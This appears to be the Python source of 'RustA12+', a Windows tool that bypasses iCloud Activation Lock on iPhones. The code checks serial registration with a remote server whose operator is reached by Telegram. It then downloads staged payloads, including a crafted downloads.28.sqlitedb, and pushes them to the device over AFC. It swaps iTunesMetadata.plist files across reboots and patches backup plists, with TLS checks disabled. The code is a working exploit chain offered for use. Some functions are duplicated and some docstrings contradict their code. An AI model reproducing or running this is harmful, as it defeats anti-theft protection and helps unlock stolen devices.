        url = f"{api_url}?{params}"
        self.log(f"[i] Checking explicit support for iOS {ios_version} on {prd}...", "info")
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            with urllib.request.urlopen(url, timeout=30, context=context) as response:
                data = json.loads(response.read().decode())
                if not data.get("success"):
                    self.log("[-] Server returned error during version check", "error")
                    return False
                sample_url = data["links"]["step1_fixedfile"]
                parsed = urllib.parse.urlparse(sample_url)
                path_parts = [part for part in parsed.path.split('/') if part]
                try:
                    maker_index = path_parts.index('Maker')
                except ValueError:
                    self.log("[-] '/Maker/' segment not found in payload URL path.", "error")
                    return False
                expected_prd_index = maker_index + 1
                expected_version_index = maker_index + 2
                expected_file_index = maker_index + 3
                if expected_file_index >= len(path_parts):
                    self.log("[-] Payload URL path too short", "error")
                    return False
                actual_prd = path_parts[expected_prd_index]
                actual_version = path_parts[expected_version_index]
                actual_file = path_parts[expected_file_index]
                expected_prd_in_url = prd.replace(',', '-')
                if actual_prd != expected_prd_in_url:
                    self.log(f"[-] Device folder mismatch: expected '{expected_prd_in_url}', got '{actual_prd}'", "error")
                    return False
                if actual_version != ios_version:
                    self.log(f"[-] Version mismatch: expected '{ios_version}', got '{actual_version}'", "error")
                    return False
                if actual_file.lower() != "com.apple.mobilegestalt.plist":
                    self.log(f"[-] Unexpected payload filename: '{actual_file}'", "error")
                    return False
                self.log(f"[✓] iOS {ios_version} on {prd} is explicitly supported.", "success")
                return True
        except Exception as e:
            self.log(f"[-] Failed to check iOS support: {e}", "error")
            return False

    def is_sn_registered_on_server(self, sn: str, prd: str, ios_version: str) -> bool:
        """Check if device serial is registered on server with retry logic."""
        normalized_sn = ''.join(filter(str.isalnum, sn)).upper()
        if not (8 <= len(normalized_sn) <= 20):
            self.log(f"[-] Invalid serial format: {sn}", "detail")
            return False
        
        params = urllib.parse.urlencode({"sn": normalized_sn})
        url = f"https://rust-a12.info:8080/check.php?{params}"
        
        # 🔁 Retry settings
        MAX_RETRIES = 3
        RETRY_DELAY = 2  # seconds
        TIMEOUT = 30  # increased from 10 to 30 seconds
        
        for attempt in range(1, MAX_RETRIES + 1):
            try:
                self.log(f"[i] Checking registration (attempt {attempt}/{MAX_RETRIES})...", "detail")
                
                # Create SSL context with relaxed verification (for self-signed certs)
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                # Optional: disable some security checks if server has old TLS
                context.options |= ssl.OP_LEGACY_SERVER_CONNECT
                
                # Create request with headers (some servers block default urllib UA)
                req = urllib.request.Request(
                    url,
                    headers={
                        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) RustA12+/1.0',
                        'Accept': 'application/json',
                        'Connection': 'keep-alive'
                    }
                )
                
                # Open URL with increased timeout
                with urllib.request.urlopen(req, timeout=TIMEOUT, context=context) as response:
                    raw_data = response.read().decode('utf-8', errors='replace')
                    self.log(f"[i] Server response ({len(raw_data)} bytes): {raw_data[:100]}...", "detail")
                    
                    data = json.loads(raw_data)
                    is_registered = bool(data.get("registered", False))
                    
                    if is_registered:
                        self.log(f"[✓] Device {normalized_sn} is registered on server", "success")
                    else:
                        self.log(f"[i] Device {normalized_sn} is NOT registered (server response) serial number registation telegram @rustbybot", "warn")
                    
                    return is_registered
                    
            except urllib.error.URLError as e:
                reason = getattr(e.reason, 'strerror', str(e.reason)) if hasattr(e, 'reason') else str(e)
                self.log(f"[{attempt}/{MAX_RETRIES}] URLError: {reason}", "warn")
                
            except ssl.SSLError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] SSL Error: {e}", "warn")
                
            except json.JSONDecodeError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] JSON decode error: {e}", "error")
                return False  # Invalid response, don't retry
                
            except TimeoutError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] Timeout: {e}", "warn")
                
            except Exception as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] Unexpected error: {type(e).__name__}: {e}", "warn")
            
            # Wait before retry (except on last attempt)
            if attempt < MAX_RETRIES:
                self.log(f"[i] Waiting {RETRY_DELAY}s before retry...", "detail")
                time.sleep(RETRY_DELAY)
        
        # All retries failed
        self.log(f"[-] Registration check failed after {MAX_RETRIES} attempts", "error")
        return False

    def get_all_urls_from_server(self, prd: str, guid: str, sn: str, ios_version: str):
        """Fetch payload URLs - исправленная версия"""
        
        # Пробуем разные варианты GUID
        guid_variants = [guid, guid.upper(), guid.lower()]
        
        for test_guid in guid_variants:
            params = urllib.parse.urlencode({
                "prd": prd, "guid": test_guid, "sn": sn, "ios_version": ios_version
            })
            url = f"{self.api_url}?{params}"
            
            
            
            for attempt in range(3):
                try:
                    context = ssl.create_default_context()
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                    
                    req = urllib.request.Request(
                        url,
                        headers={
                            'User-Agent': 'RustA12+/2.0',
                            'Accept': 'application/json',
                            'Connection': 'close'
                        }
                    )
                    
                    with urllib.request.urlopen(req, timeout=30, context=context) as response:
                        response_data = response.read().decode('utf-8')
                        self.log(f"[i] Server response: {response_data[:200]}", "detail")
                        
                        data = json.loads(response_data)
                        
                        if data.get("success"):
                            links = data["links"]
                            self.log(f"[✓] Got URLs with GUID: {test_guid[:8]}...", "success")
                            return (links["step1_fixedfile"], links["step2_bldatabase"], links["step3_final"])
                        else:
                            self.log(f"[-] Server error: {data.get('error', 'unknown')}", "warn")
                            
                except urllib.error.HTTPError as e:
                    if e.code == 404:
                        self.log(f"[!] HTTP 404 - endpoint not found", "warn")
                    elif e.code == 500:
                        self.log(f"[!] HTTP 500 - server error", "warn")
                    else:
                        self.log(f"[!] HTTP {e.code}", "warn")
                except json.JSONDecodeError as e:
                    self.log(f"[!] Invalid JSON response: {e}", "warn")
                except Exception as e:
                    self.log(f"[!] Request error: {type(e).__name__}: {e}", "warn")
                
                if attempt < 2:
                    time.sleep(2)
        
        # Финальный фолбэк - ПРАВИЛЬНЫЕ файлы для клиента
        self.log("[!] Using fallback URLs", "warn")
        base = "https://rust-a12.info:8080/cache"
        # Возвращаем правильные имена файлов, которые ожидает клиент
        return (
            f"{base}/step1_fixedfile",
            f"{base}/step2_blddatabase", 
            f"{base}/step3_final"
        )

            

    def is_sn_registered_on_server(self, sn: str, prd: str, ios_version: str) -> bool:
        """Check if device serial is registered on server with retry logic."""
        normalized_sn = ''.join(filter(str.isalnum, sn)).upper()
        if not (8 <= len(normalized_sn) <= 20):
            self.log(f"[-] Invalid serial format: {sn}", "detail")
            return False
        
        params = urllib.parse.urlencode({"sn": normalized_sn})
        url = f"https://rust-a12.info:8080/check.php?{params}"
        
        # 🔁 Retry settings
        MAX_RETRIES = 3
        RETRY_DELAY = 2  # seconds
        TIMEOUT = 30  # increased from 10 to 30 seconds
        
        for attempt in range(1, MAX_RETRIES + 1):
            try:
                self.log(f"[i] Checking registration (attempt {attempt}/{MAX_RETRIES})...", "detail")
                
                # Create SSL context with relaxed verification (for self-signed certs)
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                # Optional: disable some security checks if server has old TLS
                context.options |= ssl.OP_LEGACY_SERVER_CONNECT
                
                # Create request with headers (some servers block default urllib UA)
                req = urllib.request.Request(
                    url,
                    headers={
                        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) RustA12+/1.0',
                        'Accept': 'application/json',
                        'Connection': 'keep-alive'
                    }
                )
                
                # Open URL with increased timeout
                with urllib.request.urlopen(req, timeout=TIMEOUT, context=context) as response:
                    raw_data = response.read().decode('utf-8', errors='replace')
                    self.log(f"[i] Server response ({len(raw_data)} bytes): {raw_data[:100]}...", "detail")
                    
                    data = json.loads(raw_data)
                    is_registered = bool(data.get("registered", False))
                    
                    if is_registered:
                        self.log(f"[✓] Device {normalized_sn} is registered on server", "success")
                    else:
                        self.log(f"[i] Device {normalized_sn} is NOT registered (server response) serial number registation telegram @rustbybot", "warn")
                    
                    return is_registered
                    
            except urllib.error.URLError as e:
                reason = getattr(e.reason, 'strerror', str(e.reason)) if hasattr(e, 'reason') else str(e)
                self.log(f"[{attempt}/{MAX_RETRIES}] URLError: {reason}", "warn")
                
            except ssl.SSLError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] SSL Error: {e}", "warn")
                
            except json.JSONDecodeError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] JSON decode error: {e}", "error")
                return False  # Invalid response, don't retry
                
            except TimeoutError as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] Timeout: {e}", "warn")
                
            except Exception as e:
                self.log(f"[{attempt}/{MAX_RETRIES}] Unexpected error: {type(e).__name__}: {e}", "warn")
            
            # Wait before retry (except on last attempt)
            if attempt < MAX_RETRIES:
                self.log(f"[i] Waiting {RETRY_DELAY}s before retry...", "detail")
                time.sleep(RETRY_DELAY)
        
        # All retries failed
        self.log(f"[-] Registration check failed after {MAX_RETRIES} attempts", "error")
        return False

    def check_ios_support(self, prd: str, ios_version: str) -> bool:
        DEFAULT_SUPPORTED_VERSIONS = {"26.1", "18.7.2"}
        if ios_version in DEFAULT_SUPPORTED_VERSIONS:
            self.log(f"[✓] iOS {ios_version} is supported by default (universal payload).", "success")
            return True
        api_url = "https://rust-a12.info:8080/index.php"
        params = urllib.parse.urlencode({"prd": prd, "ios_version": ios_version})
        url = f"{api_url}?{params}"
        self.log(f"[i] Checking explicit support for iOS {ios_version} on {prd}...", "info")
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            with urllib.request.urlopen(url, timeout=30, context=context) as response:
                data = json.loads(response.read().decode())
                if not data.get("success"):
                    self.log("[-] Server returned error during version check", "error")
                    return False
                sample_url = data["links"]["step1_fixedfile"]
                parsed = urllib.parse.urlparse(sample_url)
                path_parts = [part for part in parsed.path.split('/') if part]
                try:
                    maker_index = path_parts.index('Maker')
                except ValueError:
                    self.log("[-] '/Maker/' segment not found in payload URL path.", "error")
                    return False
                expected_prd_index = maker_index + 1
                expected_version_index = maker_index + 2
                expected_file_index = maker_index + 3
                if expected_file_index >= len(path_parts):
                    self.log("[-] Payload URL path too short", "error")
                    return False
                actual_prd = path_parts[expected_prd_index]
                actual_version = path_parts[expected_version_index]
                actual_file = path_parts[expected_file_index]
                expected_prd_in_url = prd.replace(',', '-')
                if actual_prd != expected_prd_in_url:
                    self.log(f"[-] Device folder mismatch: expected '{expected_prd_in_url}', got '{actual_prd}'", "error")
                    return False
                if actual_version != ios_version:
                    self.log(f"[-] Version mismatch: expected '{ios_version}', got '{actual_version}'", "error")
                    return False
                if actual_file.lower() != "com.apple.mobilegestalt.plist":
                    self.log(f"[-] Unexpected payload filename: '{actual_file}'", "error")
                    return False
                self.log(f"[✓] iOS {ios_version} on {prd} is explicitly supported.", "success")
                return True
        except Exception as e:
            self.log(f"[-] Failed to check iOS support: {e}", "error")
            return False
    
    # ==================== ACTIVATION FLOW ====================
    def start_activation_thread(self):
        if self.is_activating:
            return
        self.is_activating = True
        t = threading.Thread(target=self.hacktivating, daemon=True)
        t.start()
        self.active_threads.append(t)

    def file_exists_on_device(self, remote_path: str) -> bool:
        """Check if file exists via AFC stat() without downloading."""
        try:
            lockdown = create_using_usbmux()
            with AfcService(lockdown) as afc:
                afc.stat(remote_path)  # Raises if not exists
                return True
        except Exception as e:
            # Логируем только для отладки, чтобы не спамить
            # self.log(f"[detail] stat({remote_path}): {type(e).__name__}", "detail")
            return False    

    def wait_for_file(self, remote_path: str, timeout: int = 90, interval: int = 3, min_size: int = 100) -> bool:
        """Wait for file with Windows permission handling."""
        self.log(f"[i] Waiting for file: {remote_path} (min {min_size}B, max {timeout}s)", "info")
        start = time.time()
        last_log = 0
        consecutive_failures = 0
        
        while time.time() - start < timeout:
            size = self.get_remote_file_size(remote_path)
            
            if size >= min_size:
                self.log(f"[✓] File ready: {remote_path} ({size} bytes)", "success")
                time.sleep(1.5)  # Даём iOS сбросить кэш
                
                # 🔥 Уникальный временный файл для этой попытки
                tmp = Path(self.temp_dir) / f"tmp_check_{int(time.time()*1000)}.tmp"
                
                if self.pull_file(remote_path, str(tmp)):
                    try:
                        local_size = tmp.stat().st_size if tmp.exists() else 0
                        if local_size >= min_size:
                            tmp.unlink(missing_ok=True)
                            return True
                        else:
                            self.log(f"[!] Size mismatch: remote={size}B, local={local_size}B", "warn")
                    except PermissionError:
                        self.log("[!] Windows blocked access to local file after pull", "warn")
                    finally:
                        if tmp.exists():
                            try: tmp.unlink()
                            except PermissionError:
                                # Файл залочен — попробуем удалить позже
                                pass
                else:
                    self.log("[!] Pull failed despite file being ready", "warn")
                
                consecutive_failures += 1
                retry_delay = min(3 + consecutive_failures * 1.5, 10)
                self.log(f"[i] Retry {consecutive_failures} in {retry_delay:.1f}s...", "detail")
                time.sleep(retry_delay)
                continue
                
            elif size > 0 and size < min_size:
                if time.time() - last_log >= 5:
                    self.log(f"[i] File writing in progress ({size}B/{min_size}B) — waiting...", "detail")
                    last_log = time.time()
            
            consecutive_failures = 0
            time.sleep(interval)
        
        self.log(f"[-] Timeout: valid file not ready: {remote_path}", "error")
        return False
    

    def restore_internal_backup_native(self, backup_path: Path, ios_version: str, build_version: str = "") -> bool:
        """Нативное восстановление с авто-патчем Info.plist + Manifest.plist."""
        from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
        import plistlib
        import os

        # 🔧 1. Патчим ОБА ключевых файла
        for plist_name in ["Info.plist", "Manifest.plist"]:
            plist_file = backup_path / plist_name
            if plist_file.exists():
                try:
                    with open(plist_file, 'rb') as f:
                        data = plistlib.load(f)
                    
                    updated = False
                    if 'ProductVersion' in data and data['ProductVersion'] != ios_version:
                        data['ProductVersion'] = ios_version
                        updated = True
                    if 'BuildVersion' in data and data['BuildVersion'] != build_version:
                        data['BuildVersion'] = build_version
                        updated = True
                    
                    # Сохраняем только если изменили (или принудительно, чтобы гарантировать формат)
                    if updated or True: 
                        with open(plist_file, 'wb') as f:
                            plistlib.dump(data, f, fmt=plistlib.FMT_BINARY)
                        self.log(f"[✓] {plist_name} patched → iOS {ios_version} ({build_version})", "success")
                        
                    # 🔍 Верификация: читаем обратно, чтобы убедиться, что Windows не закэшировал
                    with open(plist_file, 'rb') as f:
                        verify_data = plistlib.load(f)
                    self.log(f"[✓] Verify {plist_name}: {verify_data.get('ProductVersion')} ({verify_data.get('BuildVersion')})", "detail")
                    
                except Exception as e:
                    self.log(f"[!] Failed to patch {plist_name}: {e}", "error")
                    return False
            else:
                self.log(f"[!] {plist_name} not found in backup", "error")
                return False

        # 💾 Принудительный сброс кэша ФС (Windows/Nuitka)
        os.sync() if hasattr(os, 'sync') else time.sleep(0.5)

        self.log("[i] Starting native backup restore...", "info")

        def progress_cb(percentage: float):
            ui_p = 85 + (percentage / 100.0) * 10
            self.log_queue.put((ui_p, "set_progress"))
            self.log(f"[i] Restore progress: {percentage:.1f}%", "detail")

        async def _run_async_restore():
            lockdown = create_using_usbmux()
            async with Mobilebackup2Service(lockdown) as svc:
                result = svc.restore(
                    backup_directory=str(backup_path.parent),
                    source=backup_path.name,
                    system=False,
                    reboot=True,
                    copy=False,
                    settings=True,
                    remove=False,
                    password="",
                    progress_callback=progress_cb,
                    skip_apps=True  # ⚠️ Приложения часто ломают версию; включим отдельно если нужно
                )
                if asyncio.iscoroutine(result):
                    await result

        try:
            asyncio.run(_run_async_restore())
            return True
        except Exception as e:
            self.log(f"[-] Native restore failed: {type(e).__name__}: {e}", "error")
            import traceback
            self.log(f"[detail] {traceback.format_exc()}", "detail")
            return False
        
    def check_activation_status(self) -> Optional[bool]:
        """Check if device is already activated using native pymobiledevice3."""
        try:
            self.log("[i] Checking device activation status...", "info")
            lockdown = self._get_lockdown()
            if not lockdown:
                self.log("[-] Cannot connect to device for activation check", "error")
                return None
            
            # Get activation state from lockdown
            activation_state = lockdown.all_values.get("ActivationState", "").lower()
            
            self.log(f"[i] Current activation state: {activation_state}", "detail")
            
            # Check if device is already activated
            if activation_state == "activated":
                self.log("✅ Device is already ACTIVATED", "success")
                return True
            elif activation_state in ["unactivated", "inactive", "pending"]:
                self.log(f"[i] Device is NOT activated (state: {activation_state})", "warn")
                return False
            else:
                self.log(f"[?] Unknown activation state: {activation_state}", "warn")
                # Try alternative method - check if we can access certain services
                try:
                    # If we can access SpringBoard services, device might be activated
                    from pymobiledevice3.services.springboard import SpringBoardServicesService
                    with SpringBoardServicesService(lockdown) as sb:
                        _ = sb.get_icon_state()
                        self.log("[i] SpringBoard accessible - device appears activated", "detail")
                        return True
                except Exception:
                    self.log("[i] SpringBoard not accessible - device likely not activated", "detail")
                    return False
                    
        except Exception as e:
            self.log(f"[-] Failed to check activation status: {e}", "error")
            return None

    def wait_for_device_activation(self, timeout: int = 120) -> bool:
        """Wait for device to become activated after bypass process."""
        self.log(f"[i] Waiting for device activation (timeout: {timeout}s)...", "info")
        start_time = time.time()
        last_state = None
        
        while time.time() - start_time < timeout:
            try:
                lockdown = self._get_lockdown()
                if lockdown:
                    activation_state = lockdown.all_values.get("ActivationState", "").lower()
                    
                    if activation_state != last_state:
                        self.log(f"[i] Activation state changed: {activation_state}", "info")
                        last_state = activation_state
                    
                    if activation_state == "activated":
                        self.log("✅ Device successfully activated!", "success")
                        return True
                        
            except Exception as e:
                self.log(f"[i] Waiting for activation... ({int(time.time() - start_time)}s)", "detail")
            
            time.sleep(5)
        
        self.log("[-] Timeout waiting for device activation", "error")
        return False    
    
    def normalize_ios_version(self, version):
        """
        Нормализация версии iOS
        15.4.1 → 15.4
        17.2 → 17.2
        18.3.1 → 18.3
        26.0.1 → 26.0
        """
        try:
            parts = str(version).split('.')
            if len(parts) >= 2:
                return f"{parts[0]}.{parts[1]}"
            return str(version)
        except:
            return "unknown"

    def get_ios_major_version(self, ios_version):
        """Получение мажорной версии iOS (15, 16, 17, 18, 26 и т.д.)"""
        try:
            parts = str(ios_version).split('.')
            if len(parts) >= 1:
                return parts[0]
            return "unknown"
        except:
            return "unknown"

    def check_ios_version_compatibility(self, ios_version):
        """
        Проверка совместимости версии iOS (локальная, без сервера)
        
        Поддерживаются ЛЮБЫЕ подверсии:
        - 17.x, 17.x.x, 17.x.x.x (например: 17.0, 17.1, 17.2.1, 17.3.5, 17.4.0.1)
        - 18.x, 18.x.x, 18.x.x.x (например: 18.0, 18.1, 18.2.1, 18.3.5)
        - 26.x, 26.x.x, 26.x.x.x (например: 26.0, 26.1, 26.2.1, 26.3.5)
        
        НЕ поддерживаются:
        - 15.x, 15.x.x (например: 15.0, 15.1, 15.4.1, 15.6.1)
        - 16.x, 16.x.x (например: 16.0, 16.1, 16.2.1, 16.6)
        - Любые другие версии (14.x, 19.x и т.д.)
        
        Returns:
            tuple: (is_supported, message, supported_versions, your_major_version)
        """
        try:
            major_version = self.get_ios_major_version(ios_version)
            
            supported_versions = ["15.x", "16.x", "17.x", "18.x", "26.x"]  # Поддерживаются ЛЮБЫЕ подверсии этих мажорных версий
            supported_major = ["15", "16", "17", "18", "26"]
            blocked_major = ["14"]
            
            if major_version in supported_major:
                # Поддерживается любая подверсия: 17.0, 17.1.2, 17.3.4.5 и т.д.
                return True, f"✅ iOS {ios_version} is supported (major version {major_version}.x)", supported_versions, major_version
            elif major_version in blocked_major:
                return False, f"❌ iOS {ios_version} is NOT supported. iOS {major_version}.x is too old. Minimum required: iOS 17.0", supported_versions, major_version
            else:
                return False, f"❌ iOS {ios_version} is not recognized or not supported. Supported versions: {', '.join(supported_versions)}", supported_versions, major_version
                1
        except Exception as e:
            return False, f"⚠️ Error checking iOS version: {e}", ["17.x", "18.x", "26.x"], "unknown"
    
            
    def hacktivating(self):
        self.log_queue.put(("🚀 Activation started (Windows mode)", "success"))
        self.log_queue.put(("⏳ Connecting to device...", "set_button_text"))
        self.log_queue.put((None, "show_pb"))
        
        try:
            # === 1. Подключение и сбор информации ===
            info = self.get_device_info_native()
            if not info:
                self.log("❌ Device not detected", "error")
                self.log_queue.put(("❌ No device detected", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return

            prd = info.get("ProductType", "unknown")
            sn = info.get("SerialNumber", "unknown")
            ios_version_raw = info.get("ProductVersion", "unknown")
            ios_version = self.normalize_ios_version(ios_version_raw)
            
            self.log(f"Detected: {prd} | iOS {ios_version_raw} → normalized: {ios_version} | Serial: {sn}", "info")

            # === 2. ПРОВЕРКА ВЕРСИИ iOS (ЛОКАЛЬНО) ===
            self.log_queue.put(("⏳ Checking iOS version compatibility...", "set_button_text"))
            self.log_queue.put((10, "set_progress"))
            
            is_supported, version_message, supported_versions, major_version = self.check_ios_version_compatibility(ios_version)
            
            if not is_supported:
                self.log(version_message, "error")
                self.log(f"   Your iOS: {ios_version_raw}", "info")
                self.log(f"   Supported versions: {', '.join(supported_versions)} (ANY sub-version)", "info")
                self.log_queue.put(("❌ iOS version not supported!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return
            
            self.log(version_message, "success")
            
            # Дополнительное логирование для подверсий
            if '.' in ios_version_raw:
                sub_parts = ios_version_raw.split('.')
                if len(sub_parts) >= 3:
                    self.log(f"   📱 iOS {ios_version_raw} (major: {major_version}, sub-version: {sub_parts[1]}.{sub_parts[2] if len(sub_parts) > 2 else '0'}) ✓", "info")
            
        # === 3. ПРОВЕРКА СТАТУСА АКТИВАЦИИ - СТОП ЕСЛИ НЕ АКТИВИРОВАНО ===
            self.log_queue.put(("⏳ Checking activation status...", "set_button_text"))
            self.log_queue.put((5, "set_progress"))
            
            activation_status = self.check_activation_status()
            if activation_status is None:
                self.log("❌ Cannot determine activation status", "error")
                self.log_queue.put(("❌ Activation check failed!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return
            
            if activation_status:
                # Устройство уже активировано - продолжаем с обходом?
                self.log("✅ Device is already ACTIVATED", "success")
                self.log("[i] Device is already activated. Continuing with bypass process to ensure full activation...", "info")
                # Продолжаем выполнение (пользователь может захотеть переделать)
            else:
                # 🔴 УСТРОЙСТВО НЕ АКТИВИРОВАНО - ОСТАНАВЛИВАЕМ ПРОЦЕСС
                self.log("❌ Device is NOT ACTIVATED", "error")
                self.log("[!] This tool performs a HIDDEN MENU BYPASS, not initial activation.", "warn")
                self.log("[!] The device must first go through standard iCloud activation (Hello screen).", "warn")
                self.log("[!] Please complete the initial device setup (language, WiFi, etc.) up to the iCloud login screen.", "warn")
                self.log("[!] Then reconnect the device and run the bypass again.", "warn")
                self.log_queue.put(("❌ Device not activated!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return  # 🔴 ОСТАНАВЛИВАЕМ ЗДЕСЬ
            
            # === 4. Проверка регистрации устройства ===
            self.log_queue.put(("⏳ Verifying device registration...", "set_button_text"))
            if not self.is_sn_registered_on_server(sn, prd, ios_version):
                self.log("❌ Device serial number is NOT registered. Please register via Telegram channel", "error")
                self.log_queue.put(("❌ Device not registered!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return
            self.log_queue.put(("✅ Device is registered!", "success"))
            time.sleep(1)
            
            # === 5. Получение GUID ===
            self.log_queue.put(("⏳ Checking for manual GUID...", "set_button_text"))
            self.log_queue.put((10, "set_progress"))
            
            if self.global_GUID:
                guid = self.global_GUID
                self.log(f"[✓] Using pre-entered GUID: {guid}", "success")
            else:
                self.log_queue.put(("⏳ Extracting GUID automatically...", "set_button_text"))
                guid = self.get_guid_auto()
                if not guid:
                    self.log("❌ GUID extraction failed", "error")
                    self.log_queue.put(("❌ GUID extraction failed!", "set_button_text"))
                    self.log_queue.put(("red", "set_progress_color"))
                    return
                self.global_GUID = guid
            
            self.log(f"✅ Final GUID: {guid}", "success")
            self.log_queue.put((25, "set_progress"))
            
            # === 6. Запрос пейлоадов с сервера ===
            self.log_queue.put(("⏳ Requesting payload...", "set_button_text"))
            stage1, stage2, stage3 = self.get_all_urls_from_server(prd, guid, sn, ios_version)
            if not all([stage1, stage2, stage3]):
                self.log("❌ Failed to fetch payload URLs", "error")
                self.log_queue.put(("❌ Server error!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return
            self.log("✅ Payload URLs received", "success")
            self.log_queue.put((35, "set_progress"))
            
            # === 7. Скачивание финального пейлоада ===
            self.log_queue.put(("⏳ Downloading final payload...", "set_button_text"))
            local_db = "downloads.28.sqlitedb"
            db_path = self._curl_download(stage3, local_db)
            if not db_path:
                self.log_queue.put(("❌ Download failed!", "set_button_text"))
                return
            
            # Валидация SQLite
            conn = None
            try:
                conn = sqlite3.connect(db_path)
                cur = conn.cursor()
                cur.execute("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='asset'")
                has_table = cur.fetchone()[0] > 0
                cur.execute("SELECT COUNT(*) FROM asset")
                count = cur.fetchone()[0]
                if not has_table or count == 0:
                    raise ValueError("Invalid database structure")
                self.log(f"✅ DB validated: {count} assets", "success")
            except Exception as e:
                self.log(f"❌ Invalid DB: {e}", "error")
                self.log_queue.put(("❌ Invalid payload!", "set_button_text"))
                self.log_queue.put(("red", "set_progress_color"))
                return
            finally:
                if conn:
                    conn.close()
            
            # === 8. Загрузка пейлоада на устройство ===
            self.log_queue.put((50, "set_progress"))
            self.log_queue.put(("⏳ Uploading Payload...", "set_button_text"))
            target = "/Downloads/downloads.28.sqlitedb"
            if not self.push_file(db_path, target):
                self.log_queue.put(("❌ Upload failed!", "set_button_text"))
                return
            self.log("✅ Payload uploaded", "success")
            
            # Очистка старых файлов
            cleanup_files = [
                "/Downloads/downloads.28.sqlitedb-wal",
                "/Downloads/downloads.28.sqlitedb-shm",
                "/Books/asset.epub",
                "/Books/asset.epub.ext",
                "/Books/iTunesMetadata.plist",
                "/iTunes_Control/iTunes/iTunesMetadata.plist",
                "/iTunes_Control/iTunes/iTunesMetadata.plist.ext",
            ]
            for f in cleanup_files:
                self.rm_file(f)
            
            # === 9. Первый ребут ===
            self.log_queue.put((65, "set_progress"))
            self.log_queue.put(("⏳ Rebooting (1/3)...", "set_button_text"))
            if not (self.restart_device_native() and self.wait_for_device_native(timeout=60)):
                self.log("⚠️ Reboot failed or device didn't reconnect", "error")
                return
            time.sleep(10)
            
            # === 10. Ожидание iTunesMetadata.plist и первый swap ===
            self.log_queue.put(("⏳ Wait (2/3)...", "set_button_text"))
            src_step1 = "/iTunes_Control/iTunes/iTunesMetadata.plist"
            dst_step1 = "/Books/iTunesMetadata.plist"
            tmp_plist_1 = Path(self.temp_dir) / "plist_tmp_1.plist"
            
            if not self.wait_for_file(src_step1, timeout=60):
                self.log("⚠️ iTunesMetadata.plist did not appear after reboot (1/3)", "warn")
            else:
                self.log(f"[i] Pulling {src_step1} -> {tmp_plist_1}", "detail")
                if self.pull_file(src_step1, str(tmp_plist_1)):
                    self.log("[✓] File pulled successfully (step 1)", "success")
                    self.log(f"[i] Pushing {tmp_plist_1} -> {dst_step1}", "detail")
                    if self.push_file(str(tmp_plist_1), dst_step1):
                        self.log("[✓] iTunesMetadata.plist swapped to /Books/ (step 1)", "success")
                    else:
                        self.log(f"[-] Failed to push to {dst_step1}", "error")
                    if tmp_plist_1.exists():
                        tmp_plist_1.unlink()
                else:
                    self.log(f"[-] Failed to pull {src_step1}", "error")
            
            # === 11. Второй ребут ===
            self.log_queue.put((75, "set_progress"))
            self.log_queue.put(("⏳ Rebooting (3/3)...", "set_button_text"))
            if not (self.restart_device_native() and self.wait_for_device_native(timeout=60)):
                self.log("⚠️ Failed to reboot or reconnect after step 2", "error")
                return
            time.sleep(20)
            
            # === 12. Ожидание asset.epub и финальный swap ===
            src_step2 = "/Books/iTunesMetadata.plist"
            dst_step2 = "/iTunes_Control/iTunes/iTunesMetadata.plist"
            tmp_plist_2 = Path(self.temp_dir) / "plist_tmp_2.plist"
            
            if not self.wait_for_file("/Books/asset.epub", timeout=80):
                self.log("⚠️ asset.epub did not appear after reboot", "warn")
            else:
                self.log("[i] asset.epub detected, proceeding with final plist swap...", "info")
                
                self.log(f"[i] Pulling {src_step2} -> {tmp_plist_2}", "detail")
                if self.pull_file(src_step2, str(tmp_plist_2)):
                    self.log("[✓] File pulled successfully (step 2)", "success")
                    
                    self.log(f"[i] Pushing {tmp_plist_2} -> {dst_step2}", "detail")
                    if self.push_file(str(tmp_plist_2), dst_step2):
                        self.log("[✓] iTunesMetadata.plist successfully swapped to final location", "success")
                    else:
                        self.log(f"[-] Failed to push file to {dst_step2}", "error")
                        self.log("[!] Check if /iTunes_Control/iTunes/ is writable via AFC", "warn")
                    
                    if tmp_plist_2.exists():
                        tmp_plist_2.unlink()
                else:
                    self.log(f"[-] Failed to pull {src_step2}", "error")
                    self.log("[!] File might not exist yet or AFC permission denied", "warn")
            
            # === 13. Финальный ребут для применения активации ===
            self.log_queue.put((90, "set_progress"))
            self.log_queue.put(("⏳ Final reboot for activation...", "set_button_text"))
            self.log("🔄 Final reboot for activation...", "info")
            if not (self.restart_device_native() and self.wait_for_device_native(timeout=60)):
                self.log("⚠️ Final reboot failed or device didn't reconnect", "error")
                return
                        # Очистка старых файлов
            cleanup_files2 = [
                "/Downloads/downloads.28.sqlitedb-wal",
                "/Downloads/downloads.28.sqlitedb-shm",
                "/Books/asset.epub",
                "/Books/asset.epub.ext",
                "/Books/iTunesMetadata.plist",
                "/iTunes_Control/iTunes/iTunesMetadata.plist",
                "/iTunes_Control/iTunes/iTunesMetadata.plist.ext",
            ]
            for f in cleanup_files2:
                self.rm_file(f)
            # === 14. Проверка результата и отправка отчёта ===
            final_info = self.get_device_info_native()
            if final_info:
                # Получаем необходимые данные
                final_sn = final_info.get("SerialNumber", "").strip()
                ios_version = final_info.get("ProductVersion", "Unknown")
                device_model = final_info.get("ProductType", "Unknown")
                
